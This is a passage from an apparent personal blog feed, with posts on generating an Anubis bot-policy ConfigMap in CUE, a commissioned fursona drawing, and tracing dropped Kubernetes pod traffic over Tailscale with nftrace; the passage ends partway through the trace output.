&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I’m aiming to expose just a minimum of configurability first. Here’s how &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/758f70440c03b30467c5433702eba83827ed7056/flux/sources/kv/templates/config.cue?k=k8Ew5a03vrYCjB658TkHD5pVJQJ0lRxzZLiaTz1gzDA%3D#L80-L91&quot;&gt;the schema side of that is defined in &lt;code&gt;config.cue&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;anubis?: &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  // Needs to already exist in the target namespace. Should have key
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  // &amp;quot;ED25519_PRIVATE_KEY_HEX&amp;quot;.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  secretName: string
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  policy?: &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    permitPaths: *[] | [... close(&amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;      name:       string
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      path_regex: string
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &amp;rbrace;)]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&amp;rbrace;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I grabbed the default root bot policy file from &lt;a href=&quot;https://github.com/TecharoHQ/anubis/blob/main/data/botPolicies.yaml&quot;&gt;https://github.com/TecharoHQ/anubis/blob/main/data/botPolicies.yaml&lt;/a&gt;, and converted it to CUE with &lt;code&gt;cue import botPolicies.yaml&lt;/code&gt;. Then we put it in the &lt;code&gt;templates&lt;/code&gt; package, add a way to inject our config, and &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/758f70440c03b30467c5433702eba83827ed7056/flux/sources/kv/templates/botPolicies.cue?k=YHOZpWzI7CmZastPyzZRLpYe_s4HZDZPmGJQPPu-Opw%3D#L51-L55&quot;&gt;use the config to expand upon the defaults&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;package templates
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;#AnubisBotPolicies: &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  #config: #Config
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  //# Anubis has the ability to let you import snippets of configuration into the main
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  //# configuration file. This allows you to break up your config into smaller parts
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  //# that get logically assembled into one big file.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;// ...
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &amp;rbrace;, if #config.kv.anubis.policy.permitPaths != _|_ for setting in #config.kv.anubis.policy.permitPaths &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    name:       setting.name
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    path_regex: setting.path_regex
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    action:     &amp;quot;ALLOW&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &amp;rbrace;, &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;// ...
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, the bit I really like: creating the ConfigMap (which gets mounted as a volume) with the policy YAML:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;#AnubisConfigMap: timoniv1.#ImmutableConfig &amp;amp; &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;	Config=#config: #Config
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;	#Kind:          timoniv1.#ConfigMapKind
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;	#Meta:          #config.metadata
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;	#Suffix:        &amp;quot;-anubis-env&amp;quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;	#Data: &amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;		&amp;quot;policy.yml&amp;quot;: yaml.Marshal(#AnubisBotPolicies &amp;amp; &amp;lbrace;#config: Config&amp;rbrace;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;	&amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&amp;rbrace;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the careful lack of hand-written YAML at any stage! 💛🤍💜🖤&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://bsky.app/profile/celphase.bsky.social/post/3llev5c4nas25&quot;&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/anubis.jpg&quot; alt=&quot;the Anubis character, by CELPHASE&quot; width=&quot;300&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>lock tf in!!</title>
    <updated>2025-08-22T03:45:24Z</updated>
    <id>https://kivikakk.ee/2025/08/22/lock-tf-in</id>
    <link href="https://kivikakk.ee/2025/08/22/lock-tf-in" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/ltfi.jpg&quot; alt=&quot;Drawing of my fursona looking exceptionally Bunny (a bit lost), with the text “lock tf in!!” next to it.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By the wonderful &lt;a href=&quot;https://kinu.ee&quot;&gt;Kinu&lt;/a&gt;; base from &lt;a href=&quot;https://www.deviantart.com/yesirukey/art/Bunny-F2U-base-lineart-707761195&quot;&gt;DeviantArt&lt;/a&gt;.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>just keep looking deeper! the answer is in there!</title>
    <updated>2025-08-21T03:29:12Z</updated>
    <id>https://kivikakk.ee/2025/08/21/just-keep-looking-deeper</id>
    <link href="https://kivikakk.ee/2025/08/21/just-keep-looking-deeper" />

    <content type="html">&lt;p&gt;La herramienta del día es &lt;a href=&quot;https://github.com/aojea/nftrace&quot;&gt;&lt;code&gt;nftrace&lt;/code&gt;&lt;/a&gt;. I couldn’t work out why some pods weren’t able to communicate with each other across the Tailscale mesh. Suspected ACLs, suspected routes weren’t getting installed correctly (p.s. &lt;a href=&quot;https://tailscale.com/kb/1023/troubleshooting#ip-routes-that-tailscale-installs&quot;&gt;&lt;code&gt;ip route show table 52&lt;/code&gt;&lt;/a&gt; (!?)), suspected local firewalls, suspected so much. &lt;code&gt;tcpdump&lt;/code&gt; only gets you so far.&lt;/p&gt;
&lt;p&gt;Finally, on the target node:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ doas -s
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;# nix shell nixpkgs#nftrace nixpkgs#nftables
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;# nftrace add ip daddr 10.59.1.213
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;# nftrace monitor
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Try the request that isn’t making it through a bunch of times until you can isolate the exact sequence. &lt;code&gt;^C&lt;/code&gt;, &lt;code&gt;nftrace remove&lt;/code&gt;, and read carefully:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-nix&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;inet&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace-table&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace-chain&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packet&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;iif&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;tailscale0&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;saddr&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #fab387;&quot;&gt;100.67&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.157&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.26&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daddr&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;10.59&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.1&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.213&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;dscp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cs0&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ecn&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;not-ect&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ttl&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;64&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;32261&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;protocol&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;length&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;60&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sport&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;33233&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;dport&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9090&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;flags&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;syn&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;window&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;64480&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;inet&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace-table&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace-chain&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daddr&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;10.59&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.1&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.213&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;set&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;inet&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace-table&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;nftrace-chain&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;policy&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;accept&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;FORWARD&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packet&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;iif&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;tailscale0&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;oif&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;cni0&lt;/span&gt;&lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;saddr&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;100.67&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.157&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.26&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daddr&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;10.59&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.1&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.213&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;dscp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;cs0&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ecn&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;not-ect&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ttl&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;63&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;32261&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;length&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;60&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;sport&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;33233&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;dport&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;9090&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;flags&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;syn&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;tcp&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;window&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;64480&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;FORWARD&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;44827&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;bytes&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;28768164&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;jump&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-ROUTER-FORWARD&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;jump&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-ROUTER-FORWARD&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-ROUTER-FORWARD&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daddr&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;10.59&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.1&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;.213&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #fab387;&quot;&gt;5001&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;bytes&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;6279235&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;jump&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-POD-FW-FIAOHC4WHRKERAQ6&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;jump&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-POD-FW-FIAOHC4WHRKERAQ6&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;trace&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;id&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;daac839a&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;ip&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;filter&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-POD-FW-FIAOHC4WHRKERAQ6&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;rule&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;counter&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;packets&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;5&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;bytes&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;300&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;jump&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-NWPLCY-ZYSQVVSY5LQY7Q46&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;verdict&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;jump&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;KUBE-NWPLCY-ZYSQVVSY5LQY7Q46&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
